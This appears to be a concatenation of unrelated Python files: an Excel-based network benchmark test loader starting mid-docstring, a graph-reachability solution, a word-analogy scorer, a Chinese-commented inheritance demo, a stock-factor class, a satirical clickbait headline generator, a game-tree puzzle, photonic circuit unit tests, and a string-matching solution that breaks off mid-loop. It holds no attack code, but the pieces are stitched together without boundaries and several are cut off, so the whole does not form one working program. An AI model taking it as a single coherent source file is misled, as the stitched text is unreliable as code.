        And Creates a Dictionary where The TestId Is Main key,
        Each parameter is secondary key and the value of the parameter
        is the value of the dictionary

        :param run_value:
        :param worksheet:
        :return: Tests set to run, TestID# as List

        run_value = 'Run'
        worksheet = 'Test_Run'
        self.EX.set_active_worksheet(sheet_name = worksheet)
        col=self.EX.get_data_by_column(run_value, remove_values_at_start=2)
        id=[]
        for cell in col:
            if cell.value==1:
                id.append(self.EX.get_cell_value(cell.row,'TestID'))
        headers=self.EX.get_data_by_row(2,1,1)
        Tests=self._Load_Table(id,headers)

        #Create a dict out of 'Override_Default_Values'
        dict_of_override_defaults={}
        for id in Tests:
            override_default_values=Tests[id].pop('Override_Default_Test_Values').replace('\n','').split('#')
            for item in override_default_values:
                if len(item) > 0:
                    temp=item.partition('=')
                    dict_of_override_defaults[temp[0]]=temp[2]
            Tests[id]['Override_Default_Test_Values']=deepcopy(dict_of_override_defaults)
            dict_of_override_defaults.clear()

        #Override the defaults in every test if needed
        Tests_default = self._load_test_defaults()
        Tests = self._set_defaults_or_override_values(Tests_default,Tests)
        Tests = self.load_output_results(Tests)
        Tests = self._board_data(Tests)
        Tests = self._load_Topology(Tests) # Load test topologies only if it exists
        Tests = self._load_Active_TG_Data(Tests) # Load Traffic generator info only if (it exists)
        Tests = self.load_expected_results(Tests) # Load the test expected results tab for each active test
        # Tests = self._load_board_topologies(Tests)

        return Tests

    def _load_Active_TG_Data(self, All_Tests, worksheet='Traffic_Generator'):
        If we have a Traffic Generator in the Test we'll get all its data.
        :param Org_Board:
        :param Ter_Board:
        :param Board_Data:
        :param worksheet:
        :return: All tests with updated Traffic generator info(if Exists)

        for testid in All_Tests:
                for board in All_Tests[testid]['Board_Data']:
                    TG_Ports=['TG_Lan_Copper','TG_Wan_Copper','TG_Lan_Fiber','TG_Wan_Fiber']
                    TG_Ports_Len=TG_Ports.__len__()
                    TG_Ports_Active = []

                    for port in TG_Ports:
                        if not All_Tests[testid]['Board_Data'][board].has_key(port):
                            TG_Ports_Len -= 1
                        elif All_Tests[testid]['Board_Data'][board][port] != None:
                            TG_Ports_Active.append(port)
                    if TG_Ports_Len == 0 or TG_Ports_Active.__len__() == 0:
                        return All_Tests

                    self.EX.set_active_worksheet(sheet_name=worksheet)
                    TG = {}
                    Headers = self.EX.get_data_by_row(1, 1, 1)
                    for port in TG_Ports_Active:
                        TG[port]=str(All_Tests[testid]['Board_Data'][board][port])
                        TG[port]=self._Load_Table(TG[port],Headers).values().pop()

                    All_Tests[testid]['Traffic_Generator']=deepcopy(TG)

        return All_Tests

    def _set_defaults_or_override_values(self,defaults_value,All_Test_To_Run):

        The Funcion Takes The 'Override_Default_Values' values ( If They Exist)
        and set them to 'Features_Values' (See Explanation Below).

        Practical Explanation:
        After This Function All The Parametres Of the Test Will Be In The
        'Features_Value', This Dictionary Will Be Updated.
        If The Default Values Have Been Changed We Will See The Proper Value
        In This Section

        :param All_Test_To_Run:
        :param defaults_value:
        :return:

        for id in All_Test_To_Run:
            temp_defaults_value = defaults_value[id]
            dict_to_override_defaults = All_Test_To_Run[id].pop('Override_Default_Test_Values')
            for key in temp_defaults_value:
                if dict_to_override_defaults.has_key(key):
                    if len(dict_to_override_defaults[key])>0:
                       temp_defaults_value[key]=dict_to_override_defaults[key]
            All_Test_To_Run[id]['Features_Value']=deepcopy(temp_defaults_value)
        return All_Test_To_Run

    def set_active_tg_ports(self, i_network=None, i_TG=None, All_Tests=None):

        #Set the active networking ports in the test
        2 will be choosen: Lan + Wan
        :param network:
        :param TG:
        :param All_Tests:
        :return: active tg according to networking

        ret = {}
        Network_Return={}
        TG_Return = {}
        if All_Tests:
            return
            # for testid in All_Tests:
            #     for board in All_Tests[testid]['Board_Data']:
            #
            #         if not All_Tests[testid][board].has_key('Traffic_Generator'):
            #
            #             networking=All_Tests[testid]['Features']['Networking'].keys()
            #             TG=All_Tests[testid]['Traffic_Generator'].keys()
        TG = deepcopy(i_TG)
        networking = deepcopy(i_network)
        for tg_port in i_TG:
            for nw_port in networking:
                if nw_port in tg_port:
                    # TG_Active.append(tg_port)
                    if 'Lan' in tg_port:
                        TG_Return['Lan']=TG.pop(tg_port)
                    else:
                        TG_Return['Wan'] = TG.pop(tg_port)

        for nw_port in networking:
            if 'Lan' in nw_port:
                Network_Return['Lan']=deepcopy(networking[nw_port])
            elif 'Wan' in nw_port:
                Network_Return['Wan']=deepcopy(networking[nw_port])
        ret['TG'] = TG_Return
        ret['Net'] = Network_Return
        return ret
    """

if __name__=='__main__':
    from pprint import pprint
    Linux_Excel_CDAL='/home/erezas/trash/mmp_automation/Test_Files/Test_Run_Params_CDAL.xlsx'
    Linux_Excel_Benchmark_Test_Run='/media/local/users/erezas/Automation-devel/Test_Files/Test_Run_Benchmark.xlsx'
    Linux_Excel_Benchmark_Test_Defaults='/media/local/users/erezas/Automation-devel/Test_Files/Test_Defaults_Benchmark-develop.xlsx'
    Linux_Excel_Benchmark_Board = '/media/local/users/erezas/Automation-devel/Test_Files/Board_Data.xlsx'
    Linux_Excel_Test_Iterations = '/media/local/users/erezas/Automation-devel/artifacts/BenchMark TG Ixia-2017_12_25-11_40/Config_Files/Test_Iteration_Benchmark.xlsx'
    Windows_Excel_File="C:\GITAlexZemtzov\mmp_automation\Test_Files\Iperf_Test.xlsx"
    Traffic_Generator=\
    {'TG_Lan_Copper':
        {u'Conf_File_Name': None,
        u'Description': u'Ixia_Slot-1-Port-1',
        u'Device_Ip': u'10.5.210.211',
        u'Port_Number': 0,
        u'Port_Rate': u'1G',
        u'Port_Type': u'Copper',
        u'Slot_Number': 0},
    'TG_Lan_Fiber': {u'Conf_File_Name': None,
        u'Description': u'Ixia_Slot-8-Port-5',
        u'Device_Ip': u'10.5.210.35',
        u'Port_Number': 4,
        u'Port_Rate': u'10G',
        u'Port_Type': u'Fiber',
        u'Slot_Number': 7},
    'TG_Wan_Copper': {u'Conf_File_Name': None,
        u'Description': u'Ixia_Slot-1-Port-2',
        u'Device_Ip': u'10.5.210.211',
        u'Port_Number': 1,
        u'Port_Rate': u'1G',
        u'Port_Type': u'Copper',
        u'Slot_Number': 0},
    'TG_Wan_Fiber':
        {u'Conf_File_Name': None,
        u'Description': u'Ixia_Slot-8-Port-6',
        u'Device_Ip': u'10.5.210.35',
        u'Port_Number': 5,
        u'Port_Rate': u'10G',
        u'Port_Type': u'Fiber',
        u'Slot_Number': 7}}
    Networking={u'Lan_Copper': {u'Board': 'DB-88F8040-MODULAR',
                                   u'Description': None,
                                   u'Port': u'eth3',
                                   u'Port_Ip_Addr': u'192.168.1.254',
                                   u'Port_Mac_Addr': u'00:00:00:00:00:05',
                                   u'Port_Name': u'Lan_Copper',
                                   u'Port_Rate': u'1G',
                                   u'Port_Type': u'Copper',
                                   u'TG_Port_Ip_Addr': u'192.168.1.1',
                                   u'TG_Port_Mac_Addr': u'00:11:22:33:44:5F'},
                   u'Wan_Fiber': {u'Board': 'DB-88F8040-MODULAR',
                                  u'Description': None,
                                  u'Port': u'eth2',
                                  u'Port_Ip_Addr': u'1.1.1.254',
                                  u'Port_Mac_Addr': u'00:00:00:00:00:03',
                                  u'Port_Name': u'Wan_Fiber',
                                  u'Port_Rate': u'10G',
                                  u'Port_Type': u'Fiber',
                                  u'TG_Port_Ip_Addr': u'1.1.1.1',
                                  u'TG_Port_Mac_Addr': u'00:99:88:77:66:5F'}}
    # u'Lan_Fiber': {u'Board': 'DB-88F8040-MODULAR',
    #                u'Description': None,
    #                u'Port': u'eth0',
    #                u'Port_Ip_Addr': u'192.168.1.254',
    #                u'Port_Mac_Addr': u'00:00:00:00:00:05',
    #                u'Port_Name': u'Lan_Fiber',
    #                u'Port_Rate': u'10G',
    #                u'Port_Type': u'Fiber',
    #                u'TG_Port_Ip_Addr': u'192.168.1.1',
    #                u'TG_Port_Mac_Addr': u'00:11:22:33:44:5F'},
    # u'Wan_Copper': {u'Board': 'DB-88F8040-MODULAR',
    #                 u'Description': None,
    #                 u'Port': u'eth1',
    #                 u'Port_Ip_Addr': u'1.1.1.254',
    #                 u'Port_Mac_Addr': u'00:00:00:00:00:03',
    #                 u'Port_Name': u'Wan_Copper',
    #                 u'Port_Rate': u'1G',
    #                 u'Port_Type': u'Copper',
    #                 u'TG_Port_Ip_Addr': u'1.1.1.1',
    #                 u'TG_Port_Mac_Addr': u'00:99:88:77:66:5F'},
    LN=ExcelDataLoad()
    LN.set_active_file(Linux_Excel_Test_Iterations)
    data=LN.load_ovelapping_rows(worksheet='KS-L2-FWD',Board='DB-88F8040-MODULAR',gerrit='1')#,nightly='1')
    pprint(data)
    RO=RobotLoadExcel()
    # port=RO._get_port(['10G',None],1)
    # LN.set_active_file(Linux_Excel_Benchmark_Test)
    # Tests_To_Run = LN.All_Tests_Set_To_Run()
    #new_top=LN._parse_sheet_and_Topology('Traffic_Generator_100')
    #LN._switch_main_key()
    # run=RO.LoadTestRun(Linux_Excel_Benchmark_Test_develop)
    # bo=RO.LodadBoardData(Linux_Excel_Benchmark_Board)
    # te=RO.LoadTestData(Linux_Excel_Benchmark_Test_develop)
    # bo=LN.LoadBoards()#i_BoardList='DB-88F8040-MODULAR')
    tests=RO.NET_BM_TestStart(i_Board_Config_FileName=Linux_Excel_Benchmark_Board, i_Test_Defaults_Config_FileName=Linux_Excel_Benchmark_Test_Defaults, i_Test_Run_Config_FileName=Linux_Excel_Benchmark_Test_Run, i_test_Run_Worksheet='7040')
    # pprint(run)
    # pprint(bo)
    pprint(tests)
    #net=LN._get_topology('Networking',bo['DB-8040-A1-10.5.237.20']['Networking'], 'Port_Name')
    net=LN.topology_to_values(i_column_key='Port_Name', Networking='0,1,2')
    r=LN.set_active_tg_ports(i_network=Networking,i_TG=Traffic_Generator)
    # A=LN._create_dict_from_sheet()
    Tests_To_Run = LN.All_Tests_Set_To_Run()
    #print 'TestID# Are:', TestID
    print("The test to runs are =\n")
    pprint (Tests_To_Run)
    # device=LN.load_env_data()
    # print "DEVICE:"
    # pprint (device)
    # env_data=LN.load_env_data()
    # print "Env_Data_Is\:n"
    # pprint (env_data)
    # TG=LN._load_Active_TG_Data(Tests_To_Run)
    # print "TG_Data_Is\:n"
    # pprint (TG)


from typing import List
from collections import deque

def visit(start, N, G):
    q = deque()
    q.append(start)
    visited = [False] * (N+ 1)
    visited[start] = True
    while len(q) > 0:
        head = q.popleft()
        for goal in G[head]:
            if not visited[goal]:
                visited[goal] = True
                q.append(goal)

    return len([ok for ok in visited if ok])

def solve(N, M, loads):
    G: List[List[int]] = [[] for _ in range(N + 1)]

    for load in loads:
        G[load[0]].append(load[1])

    count = 0

    for start in range(1, N + 1):
        count += visit(start, N, G)

    print(count)

def main():
    N, M = map(int, input().split())
    loads = [list(map(int, input().split())) for _ in range(M)]
    solve(N, M, loads)

main()


if __name__ == '__main__':
    filename = 'questions-words-out.txt'
    sem, syn = list(), list()
    with open(filename, 'r', encoding='utf-8') as f:
        l = None
        for line in f:
            words = line.replace('\n', '').split()
            if ':' == line[0]:
                if 'gram' in line:
                    l = syn
                else:
                    l = sem
                continue
            if words[-2] == words[-3]:
                l.append(1)
            else:
                l.append(0)
    print('意味的アナロジー正解率 :', sum(sem) / len(sem))
    print('文法的アナロジー正解率 :', sum(syn) / len(syn))


"""
一个类继承另一个的类所有属性和方法
包含：Animal 包含狗类
狗类：叫做 Animal类的子类
Animal是父类

继承：他就可以使用父类的所有属性和方法。

当父类和子类具有相同的方法，包括相同的属性，如果自己有，先调用自己

方法重写：子类实现了父类同名的函数，叫做重写
继承的父类里面有重复函数，有继承顺序的，

多重继承:同时继承多个类
"""
class Animal:
    def run(self):
        print("正在跑。。。")

class Dog(Animal):
    def run(self):
        print("狗在跑")
class NotClever:
    def chajia(self):
        print("拆家")

class Erha(Dog,NotClever):
    print("二哈正在跑")

dog = Dog()
dog.run()

erth = Erha()
erth.run()
erth.chajia()
#获取继承的优先调用顺序  所有类的父类object
print(Erha.__mro__)


from mlstock.data.stock_info import StocksInfo
from mlstock.factors import I
from mlstock.factors.factor import Factor, FinanceFactor

from mlstock.factors.mixin.fill_mixin import FillMixin
from mlstock.factors.mixin.ttm_mixin import TTMMixin
from mlstock.utils import utils
import logging

logger = logging.getLogger(__name__)

class Income(FinanceFactor, FillMixin, TTMMixin):
    """
    利润表
    """
    FIELDS_DEF = [
        I('basic_eps', 'basic_eps', '基本每股收益', '利润表', ttm=True),
        I('diluted_eps', 'diluted_eps', '稀释每股收益', '利润表', ttm=True),
        I('total_revenue', 'total_revenue', '营业总收入', '利润表', ttm=True),
        I('total_cogs', 'total_cogs', '营业总成本', '利润表', ttm=True),
        I('operate_profit', 'operate_profit', '营业利润', '利润表', ttm=True),
        I('none_operate_income', 'non_oper_income', '营业外收入', '利润表', ttm=True),
        I('none_operate_exp', 'non_oper_exp', '营业外支出', '利润表', ttm=True),
        I('total_profit', 'total_profit', '利润总额', '利润表', ttm=True),
        I('net_income', 'n_income', '净利润（含少数股东损益）', '利润表', ttm=True)]

    """
    tushare , is ttm, tushare title, huatai
    net_after_nr_lp_correct ttm  扣除非经常性损益后的净利润（更正前） | 估值/EPcut/扣除非经常性损益后净利润（TTM）/总市值
    """

    @property
    def data_loader_func(self):
        return self.datasource.income

# python -m mlstock.factors.income
if __name__ == '__main__':
    utils.init_logger(file=False)

    start_date = '20080101'
    end_date = '20220826'
    stocks = ['600000.SH', '002357.SZ', '000404.SZ', '600230.SH']
    stocks = ['000996.SZ', '002008.SZ', '002014.SZ', '002026.SZ', '002033.SZ',
     '002038.SZ', '002057.SZ', '600728.SH', '000682.SZ', '000697.SZ',
     '000707.SZ', '000718.SZ', '000722.SZ', '000731.SZ', '000737.SZ',
     '000766.SZ', '000778.SZ', '000792.SZ', '000798.SZ', '000812.SZ']
    Income.test(stocks, start_date, end_date)


"""Clickbait Headline Generator, by Al Sweigart al@inventwithpython.com

A clickbait headline generator for your soulless content farm."""
__version__ = 1

import random

OBJECT_PRONOUNS = ['Her', 'Him', 'Them']
POSSESIVE_PRONOUNS = ['Her', 'His', 'Their']
PERSONAL_PRONOUNS = ['She', 'He', 'They']
STATES = ['California', 'Texas', 'Florida', 'New York', 'Pennsylvania',
          'Illinois', 'Ohio', 'Georgia', 'North Carolina', 'Michigan']
NOUNS = ['Cat', 'Dog', 'Athlete', 'Clown', 'Shovel', 'Paleo Diet',
         'Chicken', 'Mom', 'Dad', 'Doctor', 'Video Game', 'Robot',
         'Plastic Straw','Serial Killer', 'Telephone Psychic']
DISEASES = ['The Flu', 'Autism', 'Cancer', 'Heart Disease', 'Alcoholism',
            'Lyme Disease', 'Cryptocurrency', 'Everything']
PLACES = ['House', 'Attic', 'Bank Deposit Box', 'School', 'Basement',
          'Workplace', 'Donut Shop', 'Apocalypse Bunker']
WHEN = ['Soon', 'This Year', 'Later Today', 'RIGHT NOW', 'Next Week']

def main():
    print('CLICKBAIT TITLE GENERATOR')
    print('By Al Sweigart al@inventwithpython.com')
    print()

    while True:
        print('Our website needs to trick people into looking at ads!')
        print('Enter the number of headlines to generate:')
        response = input()
        if not response.isdecimal():
            print('Please enter a number.')
        else:
            numberOfHeadlines = int(response)
            break
        # At this point, go back to the start of the loop.

    for i in range(numberOfHeadlines):
        clickbaitType = random.randint(1, 8)

        if clickbaitType == 1:
            headline = generateAreMillenialsAreKillingHeadline()
        elif clickbaitType == 2:
            headline = generateWhatYouDontKnowHeadline()
        elif clickbaitType == 3:
            headline = generateDoctorsHateHerHeadline()
        elif clickbaitType == 4:
            headline = generateYouWontBelieveHeadline()
        elif clickbaitType == 5:
            headline = generateDontWantYouToKnowHeadline()
        elif clickbaitType == 6:
            headline = generateGiftIdeaHeadline()
        elif clickbaitType == 7:
            headline = generateReasonsWhyHeadline()
        elif clickbaitType == 8:
            headline = generateJobAutomated()

        print(headline)
    print()

    website = random.choice(['wobsite', 'blag', 'Facebuck', 'Googles',
                             'Facesbook', 'Tweedie', 'Pastagram'])
    when = random.choice(WHEN).lower()
    print('Post these to our', website, when, 'or you\'re fired!')

# Each of these functions returns a different type of clickbait headline:
def generateAreMillenialsAreKillingHeadline():
    noun = random.choice(NOUNS)
    return 'Are Millenials Killing the {} Industry?'.format(noun)

def generateWhatYouDontKnowHeadline():
    noun1 = random.choice(NOUNS)
    noun2 = random.choice(NOUNS) + 's'
    when = random.choice(WHEN)
    return 'Without This {}, {} Could Kill You {}'.format(noun1, noun2, when)

def generateDoctorsHateHerHeadline():
    pronoun = random.choice(OBJECT_PRONOUNS)
    state = random.choice(STATES)
    noun = random.choice(NOUNS)
    disease = random.choice(DISEASES)
    return 'Doctors Hate {}! See How This {} {} Cured {}'.format(pronoun, state, noun, disease)

def generateYouWontBelieveHeadline():
    state = random.choice(STATES)
    noun1 = random.choice(NOUNS)
    pronoun = random.choice(POSSESIVE_PRONOUNS)
    place = random.choice(PLACES)
    return 'You Won\'t Believe What This {} {} Found in {} {}'.format(state, noun1, pronoun, place)

def generateDontWantYouToKnowHeadline():
    pluralNoun1 = random.choice(NOUNS) + 's'
    pluralNoun2 = random.choice(NOUNS) + 's'
    return 'What {} Don\'t Want You To Know About {}'.format(pluralNoun1, pluralNoun2)

def generateGiftIdeaHeadline():
    number = random.randint(7, 15)
    noun = random.choice(NOUNS)
    state = random.choice(STATES)
    return '{} Gift Ideas to Give Your {} From {}'.format(number, noun, state)

def generateReasonsWhyHeadline():
    number1 = random.randint(3, 19)
    # number2 should be no larger than number1:
    number2 = random.randint(1, number1)
    pluralNoun = random.choice(NOUNS) + 's'
    return '{} Reasons Why {} Are More Interesting Than You Think (Number {} Will Surprise You!)'.format(number1, pluralNoun, number2)

def generateJobAutomated():
    state = random.choice(STATES)
    noun = random.choice(NOUNS)

    i = random.randint(0, 1)
    pronoun1 = POSSESIVE_PRONOUNS[i]
    pronoun2 = PERSONAL_PRONOUNS[i]
    return 'This {} {} Didn\'t Think Robots Would Take {} Job. {} Was Wrong.'.format(state, noun, pronoun1, pronoun2)

# If the program is run (instead of imported), run the game:
if __name__ == '__main__':
    main()


cnt = 0

def hod (a, b, h, mh, put=''):
    global cnt
    if a >= 50 or b >= 50:
        if h % 2 == 1:
            if (1 if (a + b <= 109) else 2) == 2: cnt +=1
            return (1 if (a + b <= 109) else 2, put)
        else:
            if (2 if (a + b <= 109) else 1) == 2: cnt +=1
            return (2 if (a + b <= 109) else 1, put)
    h += 1
    if h > mh:
        return (3, put)
    res = []

    res.append(hod(a + 1, b, h, mh, put + 'A'))
    res.append(hod(a + 2, b, h, mh, put + 'B'))
    res.append(hod(a * 2, b, h, mh, put + 'C'))
    res.append(hod(a, b + 1, h, mh, put + 'a'))
    res.append(hod(a, b + 2, h, mh, put + 'b'))
    res.append(hod(a, b * 2, h, mh, put + 'c'))

    if h % 2 == 1:
        for r in res:
            if r[0] == 1:
                return r
        for r in res:
            if r[0] == 3:
                return r
        return res[0]
    else:
        for r in res:
            if r[0] == 2:
                return r
        for r in res:
            if r[0] == 3:
                return r
        return res[0]
'''
for a in range(1, 20+1):
    print(a, hod(a, 0, 5))

'''
'''
print("", end = "\t")
for h in range(1, 7):
    print(h, end="\t")
print()
for a in range(1, 49+1):
    print(a, end = "\t")
    for h in range(1, 7):
        print(hod(24, a, 0, h), end="\t")
    print()
'''

hod(24, 21, 0, 4)
print(cnt)


import pytest
from pathlib import Path

from perceval import Circuit, P, BasicState, pdisplay, Matrix, BackendFactory, Processor
from perceval.rendering.pdisplay import pdisplay_circuit, pdisplay_matrix, pdisplay_analyzer
from perceval.rendering.format import Format
import perceval.algorithm as algo
import perceval.components.unitary_components as comp
import sympy as sp
import numpy as np

def strip_line_12(s: str) -> str:
    return s.strip().replace("            ", "")

def test_helloword():
    c = comp.BS()
    assert c.m == 2
    definition = c.definition()
    assert strip_line_12(pdisplay_matrix(definition)) == strip_line_12("""
            ⎡exp(I*(phi_tl + phi_tr))*cos(theta/2)    I*exp(I*(phi_bl + phi_tr))*sin(theta/2)⎤
            ⎣I*exp(I*(phi_br + phi_tl))*sin(theta/2)  exp(I*(phi_bl + phi_br))*cos(theta/2)  ⎦
    """)
    expected = [P(name='theta', value=sp.pi/2, min_v=0, max_v=4*sp.pi),
                P(name='phi_tl', value=0, min_v=0, max_v=2*sp.pi),
                P(name='phi_bl', value=0, min_v=0, max_v=2*sp.pi),
                P(name='phi_tr', value=0, min_v=0, max_v=2*sp.pi),
                P(name='phi_br', value=0, min_v=0, max_v=2*sp.pi),
                ]
    for p_res, p_exp in zip(c.get_parameters(True), expected):
        assert str(p_res) == str(p_exp)
    assert c.U.is_unitary()
    for backend_name in ["SLOS", "Naive"]:
        backend = BackendFactory.get_backend(backend_name)
        backend.set_circuit(c)
        expected_outputs = {
            BasicState("|0,1>"): 0.5,
            BasicState("|1,0>"): 0.5
        }
        input_state = BasicState("|0,1>")
        backend.set_input_state(input_state)
        bsd = backend.prob_distribution()
        for output_state, p in bsd.items():
            assert output_state in expected_outputs
            assert pytest.approx(expected_outputs[output_state]) == p
            assert pytest.approx(expected_outputs[output_state]) == backend.probability(output_state)
        assert len(bsd) == len(expected_outputs)
        p = Processor(backend_name, c)
        ca = algo.Analyzer(p,
                           [BasicState([0, 1]), BasicState([1, 0]), BasicState([1, 1])],  # the input states
                           "*"  # all possible output states that can be generated with 1 or 2 photons
                           )
        assert strip_line_12(pdisplay_analyzer(ca)) == strip_line_12("""
            +-------+-------+-------+-------+-------+-------+
            |       | |0,1> | |1,0> | |2,0> | |1,1> | |0,2> |
            +-------+-------+-------+-------+-------+-------+
            | |0,1> |  1/2  |  1/2  |   0   |   0   |   0   |
            | |1,0> |  1/2  |  1/2  |   0   |   0   |   0   |
            | |1,1> |   0   |   0   |  1/2  |   0   |  1/2  |
            +-------+-------+-------+-------+-------+-------+
        """)

def test_empty_circuit():
    c = Circuit(4)
    m = c.compute_unitary(False)
    assert m.shape == (4, 4)
    assert np.allclose(m, Matrix.eye(4))
    assert pdisplay_circuit(c).replace(" ", "") == """

0:────:0 (depth 0)

1:────:1 (depth 0)

2:────:2 (depth 0)

3:────:3 (depth 0)

""".replace(" ", "")

def test_bs_symbolic_unitary():
    phi_tl = P("phi")
    theta = P("theta")
    bs = comp.BS(theta=theta, phi_tl=phi_tl)
    assert strip_line_12(pdisplay_matrix(bs.compute_unitary(use_symbolic=True))) == strip_line_12("""
            ⎡exp(I*phi)*cos(theta/2)    I*sin(theta/2)⎤
            ⎣I*exp(I*phi)*sin(theta/2)  cos(theta/2)  ⎦""")

def test_bs_u():
    bs = comp.BS()
    assert pdisplay_matrix(bs.U) == "⎡sqrt(2)/2    sqrt(2)*I/2⎤\n⎣sqrt(2)*I/2  sqrt(2)/2  ⎦"

    bs = comp.BS(theta=comp.BS.r_to_theta(1))
    assert pdisplay_matrix(bs.U) == "⎡1  0⎤\n⎣0  1⎦"

    bs = comp.BS(theta=comp.BS.r_to_theta(0))
    assert pdisplay_matrix(bs.U) == "⎡0  I⎤\n⎣I  0⎦"

def test_parameter():
    theta = P("theta0")
    bs = comp.BS(theta=theta)
    with pytest.raises(AssertionError):  # Cannot request a numeric matrix with variable parameters
        bs.compute_unitary(use_symbolic=False)
    assert pdisplay_matrix(bs.compute_unitary(use_symbolic=True)) == strip_line_12("""
            ⎡cos(theta0/2)    I*sin(theta0/2)⎤
            ⎣I*sin(theta0/2)  cos(theta0/2)  ⎦""")

def test_double_parameter_ok():
    phi1 = P("phi")
    comp.BS(phi_tl=phi1, phi_bl=phi1)

def test_double_parameter_dup():
    phi1 = P("phi")
    phi2 = P("phi")
    with pytest.raises(RuntimeError):  # Exception should be raised for two parameters with same name
        comp.BS(phi_tr=phi1, phi_bl=phi2)

def test_double_parameter_dup_multi():
    phi1 = P("phi")
    phi2 = P("phi")
    with pytest.raises(RuntimeError):  # Exception should have been generated for two parameters with same name
        comp.BS(phi_tr=phi1) // comp.BS(phi_tl=phi2)

def test_build_composition():
    a = comp.BS()
    b = comp.BS()
    c = a // b
    assert pdisplay_matrix(c.U) == "⎡0  I⎤\n⎣I  0⎦"

def test_build_composition_2():
    c = comp.BS() // comp.PS(phi=sp.pi/2)
    assert pdisplay_matrix(c.U) == "⎡sqrt(2)*I/2  -sqrt(2)/2⎤\n⎣sqrt(2)*I/2  sqrt(2)/2 ⎦"

def test_build_composition_3():
    c = comp.BS() // (0, comp.PS(phi=sp.pi/2))
    assert pdisplay_matrix(c.U) == "⎡sqrt(2)*I/2  -sqrt(2)/2⎤\n⎣sqrt(2)*I/2  sqrt(2)/2 ⎦"

def test_build_composition_4():
    c = comp.BS() // (1, comp.PS(phi=sp.pi/2))
    assert pdisplay_matrix(c.U) == "⎡sqrt(2)/2   sqrt(2)*I/2⎤\n⎣-sqrt(2)/2  sqrt(2)*I/2⎦"

def test_invalid_ifloor():
    with pytest.raises(AssertionError):
        comp.BS() // (1, comp.BS())  # invalid ifloor should fail

def test_unitary_component():
    non_unitary_matrix = Matrix([[1, 2], [3, 4]])
    with pytest.raises(AssertionError):
        comp.Unitary(non_unitary_matrix)

    odd_size_matrix = Matrix.random_unitary(5)
    with pytest.raises(AssertionError):
        # In case the unitary component is polarized, the unitary matrix size must be even
        comp.Unitary(odd_size_matrix, use_polarization=True)

    unitary = comp.Unitary(odd_size_matrix)
    assert (unitary.U == odd_size_matrix).all()

def test_unitary_inverse():
    """
    Testing vertical inversion can be performed by applying a m:-1:0 permutation on the right and on the left of the
    inverted circuit. The resulting circuit has to be equivalent to the input circuit.
    """
    size = 4
    perm_tester = comp.PERM(list(range(size-1, -1, -1)))
    input_component = comp.Unitary(Matrix.random_unitary(size))
    inverted_component = comp.Unitary(input_component.U)
    inverted_component.inverse(v=True)
    test_circuit = Circuit(size)\
        .add(0, perm_tester)\
        .add(0, inverted_component)\
        .add(0, perm_tester)
    assert np.array_equal(input_component.U, test_circuit.U)

    # Test v and h inversion interaction (the order should have no impact on the result)
    u1 = comp.Unitary(Matrix.random_unitary(size))
    u2 = comp.Unitary(U=u1.U)
    u1.inverse(h=True)
    u1.inverse(v=True)
    u2.inverse(v=True)
    u2.inverse(h=True)
    assert np.allclose(u1.U, u2.U, atol=1e-12)

def _gen_bs(i: int):
    return comp.BS(theta=P(f"theta{i}"))

# noinspection PyTypeChecker
def test_generator():
    c = Circuit.generic_interferometer(5, _gen_bs)
    assert len(c.get_parameters()) == 5*4/2
    c = Circuit.generic_interferometer(5, _gen_bs, depth=1)
    assert len(c.get_parameters()) == 2
    c = Circuit.generic_interferometer(5, _gen_bs, depth=2)
    assert len(c.get_parameters()) == 4

def test_iterator():
    c = Circuit(3)
    comps = [(0, 1), (1, 2), (0, 1)]
    for k in range(len(comps)):
        c.add(comps[k], comp.BS(theta=1/(k+1)))

    d = Circuit(4)
    d.add((0, 1, 2), c, merge=False)
    d.add((2, 3), comp.BS(theta=1/4))
    comps.append((2, 3))

    l_comp = list(d.__iter__())

    assert len(l_comp) == 4
    for i in range(4):
        assert float(l_comp[i][1].param("theta")) == 1/(i+1) and l_comp[i][0] == comps[i]

def test_evolve():
    for backend_name in ["SLOS", "Naive", "MPS"]:
        backend = BackendFactory.get_backend(backend_name)
        backend.set_circuit(comp.BS.H())
        backend.set_input_state(BasicState("|1,0>"))
        assert str(backend.evolve()) == "sqrt(2)/2*|1,0>+sqrt(2)/2*|0,1>"

def _generate_simple_circuit():
    return (comp.Unitary(U=Matrix.random_unitary(3), name="U1")
            // (0, comp.PS(sp.pi / 2))
            // comp.Unitary(U=Matrix.random_unitary(3), name="U2"))

def test_visualization_ucircuit(capfd):
    c = _generate_simple_circuit()
    pdisplay(c, output_format=Format.TEXT)
    out, err = capfd.readouterr()
    assert out.strip() == """
    ╭─────╮╭───────────╮╭─────╮
0:──┤U1   ├┤PS phi=pi/2├┤U2   ├──:0 (depth 3)
    │     │╰───────────╯│     │
    │     │             │     │
1:──┤     ├─────────────┤     ├──:1 (depth 2)
    │     │             │     │
    │     │             │     │
2:──┤     ├─────────────┤     ├──:2 (depth 2)
    ╰─────╯             ╰─────╯
""".strip()

TEST_DATA_DIR = Path(__file__).resolve().parent / 'data'

def test_depths_ncomponents():
    assert comp.PS(0).depths() == [1]
    assert comp.PS(0).ncomponents() == 1
    c = _generate_simple_circuit()
    assert c.depths() == [3, 2, 2]
    assert c.ncomponents() == 3
    with open(TEST_DATA_DIR / 'u_random_8', "r") as f:
        m = Matrix(f)
        ub = (Circuit(2)
              // comp.BS()
              // (0, comp.PS(phi=P("φ_a")))
              // comp.BS()
              // (0, comp.PS(phi=P("φ_b"))))
        c1 = Circuit.decomposition(m, ub, shape="triangle")
        assert c1 is not None and c1.depths() == [28, 38, 32, 26, 20, 14, 8, 2]
        assert c1.ncomponents() == 112

def test_reflexivity():
    c = comp.BS(theta=comp.BS.r_to_theta(1/3), convention=comp.BSConvention.H)
    assert pytest.approx(c.compute_unitary(use_symbolic=False)[0, 0]) == np.sqrt(1/3)

def test_getitem1_index():
    c = Circuit(2) // comp.BS() // comp.PS(P("phi1")) // comp.BS() // comp.PS(P("phi2"))
    with pytest.raises(IndexError):
        _ = c[0, 5]
    with pytest.raises(ValueError):
        _ = c[-1]
    with pytest.raises(IndexError):
        _ = c[4, 0]

def test_getitem2_value():
    c = Circuit(2) // comp.BS.H() // comp.PS(P("phi1")) // comp.BS.H() // comp.PS(P("phi2"))
    assert c[0, 0].describe() == "BS(convention=BSConvention.H)"
    assert c[0, 1].describe() == "PS(phi=phi1)"

def test_getitem3_parameter():
    c = Circuit(2) // comp.BS.H() // comp.PS(P("phi1")) // comp.BS.H() // comp.PS(P("phi2"))
    assert c.getitem((0, 0), True).describe() == "PS(phi=phi1)"


s = input().strip()
l = ['dreameraser','dreamerase','dreamer','eraser','dream','erase']
idx = 0
while idx < len(l):
   if s.startswith(l[idx]):
